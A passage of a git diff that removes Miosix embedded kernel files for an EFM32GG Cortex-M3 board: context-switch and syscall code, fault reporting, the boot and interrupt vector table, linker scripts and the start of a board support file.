pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - //NOTE: Cortex M3 differs from Cortex M4/M7 as ctxsave does not contain lr -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 35adba0fa..000000000 --- a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,200 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2104, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ - "dmb \n\t" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia sp!, {pc} \n\t" /*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/core/stage_1_boot.cpp b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/core/stage_1_boot.cpp deleted file mode 100644 index e2ddebfa4..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/core/stage_1_boot.cpp +++ /dev/null @@ -1,239 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * EFM32 C++ startup, supports interrupt handlers in C++ without extern "C" - * NOTE: for EFM32GG devices ONLY. - * Developed by Terraneo Federico to boot Miosix, - * based on silicon laboratories startup code. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void __attribute__((noreturn)) program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data,etext,edata-data); - memset(bss_start,0,bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void __attribute__((__interrupt__, noreturn)) Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) DMA_IRQHandler(); -void __attribute__((weak)) GPIO_EVEN_IRQHandler(); -void __attribute__((weak)) TIMER0_IRQHandler(); -void __attribute__((weak)) USART0_RX_IRQHandler(); -void __attribute__((weak)) USART0_TX_IRQHandler(); -void __attribute__((weak)) USB_IRQHandler(); -void __attribute__((weak)) ACMP0_IRQHandler(); -void __attribute__((weak)) ADC0_IRQHandler(); -void __attribute__((weak)) DAC0_IRQHandler(); -void __attribute__((weak)) I2C0_IRQHandler(); -void __attribute__((weak)) I2C1_IRQHandler(); -void __attribute__((weak)) GPIO_ODD_IRQHandler(); -void __attribute__((weak)) TIMER1_IRQHandler(); -void __attribute__((weak)) TIMER2_IRQHandler(); -void __attribute__((weak)) TIMER3_IRQHandler(); -void __attribute__((weak)) USART1_RX_IRQHandler(); -void __attribute__((weak)) USART1_TX_IRQHandler(); -void __attribute__((weak)) LESENSE_IRQHandler(); -void __attribute__((weak)) USART2_RX_IRQHandler(); -void __attribute__((weak)) USART2_TX_IRQHandler(); -void __attribute__((weak)) UART0_RX_IRQHandler(); -void __attribute__((weak)) UART0_TX_IRQHandler(); -void __attribute__((weak)) UART1_RX_IRQHandler(); -void __attribute__((weak)) UART1_TX_IRQHandler(); -void __attribute__((weak)) LEUART0_IRQHandler(); -void __attribute__((weak)) LEUART1_IRQHandler(); -void __attribute__((weak)) LETIMER0_IRQHandler(); -void __attribute__((weak)) PCNT0_IRQHandler(); -void __attribute__((weak)) PCNT1_IRQHandler(); -void __attribute__((weak)) PCNT2_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) BURTC_IRQHandler(); -void __attribute__((weak)) CMU_IRQHandler(); -void __attribute__((weak)) VCMP_IRQHandler(); -void __attribute__((weak)) LCD_IRQHandler(); -void __attribute__((weak)) MSC_IRQHandler(); -void __attribute__((weak)) AES_IRQHandler(); -void __attribute__((weak)) EBI_IRQHandler(); -void __attribute__((weak)) EMU_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - DMA_IRQHandler, - GPIO_EVEN_IRQHandler, - TIMER0_IRQHandler, - USART0_RX_IRQHandler, - USART0_TX_IRQHandler, - USB_IRQHandler, - ACMP0_IRQHandler, - ADC0_IRQHandler, - DAC0_IRQHandler, - I2C0_IRQHandler, - I2C1_IRQHandler, - GPIO_ODD_IRQHandler, - TIMER1_IRQHandler, - TIMER2_IRQHandler, - TIMER3_IRQHandler, - USART1_RX_IRQHandler, - USART1_TX_IRQHandler, - LESENSE_IRQHandler, - USART2_RX_IRQHandler, - USART2_TX_IRQHandler, - UART0_RX_IRQHandler, - UART0_TX_IRQHandler, - UART1_RX_IRQHandler, - UART1_TX_IRQHandler, - LEUART0_IRQHandler, - LEUART1_IRQHandler, - LETIMER0_IRQHandler, - PCNT0_IRQHandler, - PCNT1_IRQHandler, - PCNT2_IRQHandler, - RTC_IRQHandler, - BURTC_IRQHandler, - CMU_IRQHandler, - VCMP_IRQHandler, - LCD_IRQHandler, - MSC_IRQHandler, - AES_IRQHandler, - EBI_IRQHandler, - EMU_IRQHandler -}; - -#pragma weak DMA_IRQHandler = Default_Handler -#pragma weak GPIO_EVEN_IRQHandler = Default_Handler -#pragma weak TIMER0_IRQHandler = Default_Handler -#pragma weak USART0_RX_IRQHandler = Default_Handler -#pragma weak USART0_TX_IRQHandler = Default_Handler -#pragma weak USB_IRQHandler = Default_Handler -#pragma weak ACMP0_IRQHandler = Default_Handler -#pragma weak ADC0_IRQHandler = Default_Handler -#pragma weak DAC0_IRQHandler = Default_Handler -#pragma weak I2C0_IRQHandler = Default_Handler -#pragma weak I2C1_IRQHandler = Default_Handler -#pragma weak GPIO_ODD_IRQHandler = Default_Handler -#pragma weak TIMER1_IRQHandler = Default_Handler -#pragma weak TIMER2_IRQHandler = Default_Handler -#pragma weak TIMER3_IRQHandler = Default_Handler -#pragma weak USART1_RX_IRQHandler = Default_Handler -#pragma weak USART1_TX_IRQHandler = Default_Handler -#pragma weak LESENSE_IRQHandler = Default_Handler -#pragma weak USART2_RX_IRQHandler = Default_Handler -#pragma weak USART2_TX_IRQHandler = Default_Handler -#pragma weak UART0_RX_IRQHandler = Default_Handler -#pragma weak UART0_TX_IRQHandler = Default_Handler -#pragma weak UART1_RX_IRQHandler = Default_Handler -#pragma weak UART1_TX_IRQHandler = Default_Handler -#pragma weak LEUART0_IRQHandler = Default_Handler -#pragma weak LEUART1_IRQHandler = Default_Handler -#pragma weak LETIMER0_IRQHandler = Default_Handler -#pragma weak PCNT0_IRQHandler = Default_Handler -#pragma weak PCNT1_IRQHandler = Default_Handler -#pragma weak PCNT2_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak BURTC_IRQHandler = Default_Handler -#pragma weak CMU_IRQHandler = Default_Handler -#pragma weak VCMP_IRQHandler = Default_Handler -#pragma weak LCD_IRQHandler = Default_Handler -#pragma weak MSC_IRQHandler = Default_Handler -#pragma weak AES_IRQHandler = Default_Handler -#pragma weak EBI_IRQHandler = Default_Handler -#pragma weak EMU_IRQHandler = Default_Handler -#pragma weak SysTick_Handler = Default_Handler \ No newline at end of file diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/efm32_1M+128k_rom_usbbootloader.ld b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/efm32_1M+128k_rom_usbbootloader.ld deleted file mode 100644 index f690c9c71..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/efm32_1M+128k_rom_usbbootloader.ld +++ /dev/null @@ -1,154 +0,0 @@ -/* - * C++ enabled linker script for efm32 (1M-16K FLASH, 128K RAM) - * Developed by TFT for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done since in case - * of main stack overflow the cpu will fault because access to memory before - * the beginning of the ram faults. Instead with the default stack placement - * the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000300; /* main stack = 768Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20000000+128*1024; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x00004000, LENGTH = 1M-16K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000300, LENGTH = 128K-0x300 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/efm32_1M+128k_rom_usbbootloader_processes.ld b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/efm32_1M+128k_rom_usbbootloader_processes.ld deleted file mode 100644 index 56d2b94ff..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/efm32_1M+128k_rom_usbbootloader_processes.ld +++ /dev/null @@ -1,157 +0,0 @@ -/* - * C++ enabled linker script for efm32 (1M-16K FLASH, 128K RAM) - * Developed by TFT for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done since in case - * of main stack overflow the cpu will fault because access to memory before - * the beginning of the ram faults. Instead with the default stack placement - * the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000300; /* main stack = 768Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20000000+32*1024; -/* Mapping the process pool into the upper 96KB of the RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x20000000+128*1024; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x00004000, LENGTH = 1M-16K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000300, LENGTH = 32K-0x300 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/bsp.cpp deleted file mode 100644 index 87a5758b0..000000000 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,223 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "board_settings.h" -#include "hrtb.h" -#include "vht.h" -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - MSC->CTRL=0; //Generate bus fault on access to unmapped areas - - // - // Setup 